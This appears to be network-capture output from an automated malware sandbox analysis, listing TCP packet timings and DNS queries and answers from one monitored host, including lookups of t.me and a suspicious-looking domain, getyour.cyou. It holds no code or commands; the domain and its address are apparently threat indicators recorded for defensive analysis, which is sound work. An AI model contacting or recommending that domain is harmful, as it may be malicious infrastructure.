Feb 1, 2025 21:59:38.023982048 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.033569098 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.129353046 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.134501934 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.134517908 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.134526968 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.134852886 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.143559933 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.248034954 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.248119116 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.248177052 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.248203039 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.248477936 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.257303953 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.352360964 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.360070944 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.360167980 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.360178947 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.360578060 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.368912935 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.465739965 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.471143007 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.471230984 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.471241951 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.471420050 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.485641956 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.623445034 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.624727964 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.624767065 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.624777079 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.624969959 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.631200075 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.725337029 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.731857061 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.731867075 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.731874943 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.732465982 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.740129948 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.833981037 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.839710951 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.839785099 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.839834929 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.840254068 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.846540928 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.940433025 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.946796894 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.947011948 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.947021008 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:38.947419882 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:38.954329014 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.048398972 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.054802895 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.054815054 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.054825068 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.055046082 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.069960117 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.164175034 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.169615030 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.169748068 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.169756889 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.169893980 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.176487923 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.270762920 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.277381897 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.277426004 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.277436972 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.277777910 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.284322023 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.382801056 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.394663095 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.394675970 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.394695044 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.395222902 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.402808905 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.496856928 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.503324986 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.503494978 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.503504992 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.503772974 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.513050079 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.607059002 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.614617109 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.614628077 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.614638090 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.615000010 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.631026030 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.725200891 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.731205940 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.731384039 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.731410027 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.731493950 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.737714052 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.834304094 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.840231895 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.840241909 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.840367079 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.840557098 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.847166061 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.941771984 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.947391033 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.947402954 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.947458982 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:39.947674990 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.947736979 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.947797060 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:39.955245972 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.059540033 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.065435886 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.065455914 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.065466881 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.065929890 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.076221943 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.183650970 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.191931009 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.192245960 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.192262888 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.192282915 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.199776888 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.293872118 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.300164938 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.300177097 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.300229073 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.300502062 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.313461065 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.407401085 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.413017035 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.413031101 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.413038969 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.413383007 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.422028065 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.516177893 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.523390055 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.523539066 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.523547888 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.523734093 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.533076048 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.627186060 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.634517908 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.634681940 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.634715080 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.634726048 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:40.634891987 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.666609049 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:40.754024029 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:44.792279005 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:44.822107077 CET	63453	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:45.593748093 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:45.621213913 CET	63453	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:54.792177916 CET	443	63453	2.23.209.3	192.168.2.6
Feb 1, 2025 22:00:20.132016897 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.132198095 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.132445097 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.132505894 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.482409000 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.589740992 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:20.589852095 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:20.589869976 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:20.589880943 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:20.589890003 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:20.590584993 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.590722084 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.590770960 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.590821028 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.590871096 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.809926033 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.879556894 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:20.880069017 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.909373045 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:20.947124958 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:20.977794886 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:20.978599072 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:20.979288101 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:20.979475021 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:22.908174038 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:22.908392906 CET	55250	443	192.168.2.6	162.159.61.3
Feb 1, 2025 22:00:23.005542040 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:23.006633043 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:23.006917000 CET	443	55250	162.159.61.3	192.168.2.6
Feb 1, 2025 22:00:23.007293940 CET	55250	443	192.168.2.6	162.159.61.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 1, 2025 21:58:53.878693104 CET	192.168.2.6	1.1.1.1	0x5e7e	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:58:54.959950924 CET	192.168.2.6	1.1.1.1	0x97d8	Standard query (0)	getyour.cyou	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:04.830661058 CET	192.168.2.6	1.1.1.1	0x834c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:04.830822945 CET	192.168.2.6	1.1.1.1	0x3bc	Standard query (0)	www.google.com	65	IN (0x0001)	false
Feb 1, 2025 21:59:07.695122957 CET	192.168.2.6	1.1.1.1	0xe925	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:07.695286036 CET	192.168.2.6	1.1.1.1	0xad9a	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Feb 1, 2025 21:59:08.701019049 CET	192.168.2.6	1.1.1.1	0x6ac0	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:08.701200008 CET	192.168.2.6	1.1.1.1	0x5727	Standard query (0)	play.google.com	65	IN (0x0001)	false
Feb 1, 2025 21:59:19.210855961 CET	192.168.2.6	1.1.1.1	0xaeb3	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:19.211513996 CET	192.168.2.6	1.1.1.1	0x1ed	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Feb 1, 2025 21:59:20.210720062 CET	192.168.2.6	1.1.1.1	0x825	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:20.211765051 CET	192.168.2.6	1.1.1.1	0x4440	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Feb 1, 2025 21:59:21.373476028 CET	192.168.2.6	1.1.1.1	0x8a65	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.373621941 CET	192.168.2.6	1.1.1.1	0x4903	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Feb 1, 2025 21:59:21.382050037 CET	192.168.2.6	1.1.1.1	0x660d	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.382179976 CET	192.168.2.6	1.1.1.1	0x4108	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Feb 1, 2025 21:59:21.389750957 CET	192.168.2.6	1.1.1.1	0xf31c	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.389991999 CET	192.168.2.6	1.1.1.1	0x28ff	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Feb 1, 2025 21:59:21.395981073 CET	192.168.2.6	1.1.1.1	0x5e93	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.396219969 CET	192.168.2.6	1.1.1.1	0xb0f8	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Feb 1, 2025 21:59:22.310259104 CET	192.168.2.6	1.1.1.1	0x9b0e	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:22.310440063 CET	192.168.2.6	1.1.1.1	0x61f3	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Feb 1, 2025 21:59:23.587121964 CET	192.168.2.6	1.1.1.1	0xb473	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:23.588041067 CET	192.168.2.6	1.1.1.1	0x69d5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Feb 1, 2025 21:59:23.588888884 CET	192.168.2.6	1.1.1.1	0xdf3	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:23.589049101 CET	192.168.2.6	1.1.1.1	0xd65a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Feb 1, 2025 21:59:23.866482019 CET	192.168.2.6	1.1.1.1	0x53e8	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:23.866636992 CET	192.168.2.6	1.1.1.1	0x8906	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 1, 2025 21:58:53.885353088 CET	1.1.1.1	192.168.2.6	0x5e7e	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:58:54.972740889 CET	1.1.1.1	192.168.2.6	0x97d8	No error (0)	getyour.cyou		116.202.5.153	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:04.838556051 CET	1.1.1.1	192.168.2.6	0x834c	No error (0)	www.google.com		216.58.212.164	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:04.838574886 CET	1.1.1.1	192.168.2.6	0x3bc	No error (0)	www.google.com			65	IN (0x0001)	false
Feb 1, 2025 21:59:07.701770067 CET	1.1.1.1	192.168.2.6	0xe925	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:07.701770067 CET	1.1.1.1	192.168.2.6	0xe925	No error (0)	plus.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:07.701782942 CET	1.1.1.1	192.168.2.6	0xad9a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:08.708412886 CET	1.1.1.1	192.168.2.6	0x6ac0	No error (0)	play.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:19.218065023 CET	1.1.1.1	192.168.2.6	0xaeb3	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:19.218065023 CET	1.1.1.1	192.168.2.6	0xaeb3	No error (0)	www-msn-com.a-0003.a-msedge.net	a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:19.218065023 CET	1.1.1.1	192.168.2.6	0xaeb3	No error (0)	a-0003.a-msedge.net		204.79.197.203	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:19.219300032 CET	1.1.1.1	192.168.2.6	0x1ed	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:19.223979950 CET	1.1.1.1	192.168.2.6	0x5c79	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:19.223979950 CET	1.1.1.1	192.168.2.6	0x5c79	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:19.225627899 CET	1.1.1.1	192.168.2.6	0xcb95	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:20.219149113 CET	1.1.1.1	192.168.2.6	0x4440	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:20.219149113 CET	1.1.1.1	192.168.2.6	0x4440	No error (0)	bzib.nelreports.net.akamaized.net	a416.dscd.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:20.219619989 CET	1.1.1.1	192.168.2.6	0x825	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:20.219619989 CET	1.1.1.1	192.168.2.6	0x825	No error (0)	bzib.nelreports.net.akamaized.net	a416.dscd.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:20.219619989 CET	1.1.1.1	192.168.2.6	0x825	No error (0)	a416.dscd.akamai.net		2.19.126.152	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:20.219619989 CET	1.1.1.1	192.168.2.6	0x825	No error (0)	a416.dscd.akamai.net		2.19.126.145	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.380206108 CET	1.1.1.1	192.168.2.6	0x8a65	No error (0)	sb.scorecardresearch.com		13.32.99.90	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.380206108 CET	1.1.1.1	192.168.2.6	0x8a65	No error (0)	sb.scorecardresearch.com		13.32.99.105	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.380206108 CET	1.1.1.1	192.168.2.6	0x8a65	No error (0)	sb.scorecardresearch.com		13.32.99.21	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.380206108 CET	1.1.1.1	192.168.2.6	0x8a65	No error (0)	sb.scorecardresearch.com		13.32.99.23	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.388597965 CET	1.1.1.1	192.168.2.6	0x660d	No error (0)	c.msn.com	c-msn-pme.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:21.388597965 CET	1.1.1.1	192.168.2.6	0x660d	No error (0)	c-msn-pme.trafficmanager.net		13.74.129.1	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.389508963 CET	1.1.1.1	192.168.2.6	0x4108	No error (0)	c.msn.com	c-msn-pme.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:21.389894962 CET	1.1.1.1	192.168.2.6	0x18f0	No error (0)	c-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:21.389894962 CET	1.1.1.1	192.168.2.6	0x18f0	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.389894962 CET	1.1.1.1	192.168.2.6	0x18f0	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.396675110 CET	1.1.1.1	192.168.2.6	0xf31c	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:21.396675110 CET	1.1.1.1	192.168.2.6	0xf31c	No error (0)	assets.msn.com.edgekey.net	e28578.d.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:21.396675110 CET	1.1.1.1	192.168.2.6	0xf31c	No error (0)	e28578.d.akamaiedge.net		2.23.209.3	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.396675110 CET	1.1.1.1	192.168.2.6	0xf31c	No error (0)	e28578.d.akamaiedge.net		2.23.209.36	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.396675110 CET	1.1.1.1	192.168.2.6	0xf31c	No error (0)	e28578.d.akamaiedge.net		2.23.209.45	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.396675110 CET	1.1.1.1	192.168.2.6	0xf31c	No error (0)	e28578.d.akamaiedge.net		2.23.209.59	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.396675110 CET	1.1.1.1	192.168.2.6	0xf31c	No error (0)	e28578.d.akamaiedge.net		2.23.209.51	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.396675110 CET	1.1.1.1	192.168.2.6	0xf31c	No error (0)	e28578.d.akamaiedge.net		2.23.209.20	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.396675110 CET	1.1.1.1	192.168.2.6	0xf31c	No error (0)	e28578.d.akamaiedge.net		2.23.209.52	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.396794081 CET	1.1.1.1	192.168.2.6	0x28ff	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:21.396794081 CET	1.1.1.1	192.168.2.6	0x28ff	No error (0)	assets.msn.com.edgekey.net	e28578.d.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:21.402843952 CET	1.1.1.1	192.168.2.6	0x5e93	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:21.402843952 CET	1.1.1.1	192.168.2.6	0x5e93	No error (0)	api-msn-com.a-0003.a-msedge.net	a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:21.402843952 CET	1.1.1.1	192.168.2.6	0x5e93	No error (0)	a-0003.a-msedge.net		204.79.197.203	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:21.403012037 CET	1.1.1.1	192.168.2.6	0xb0f8	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:22.318105936 CET	1.1.1.1	192.168.2.6	0x9b0e	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:22.318105936 CET	1.1.1.1	192.168.2.6	0x9b0e	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.97	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:22.318624973 CET	1.1.1.1	192.168.2.6	0x61f3	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:23.593791008 CET	1.1.1.1	192.168.2.6	0xb473	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
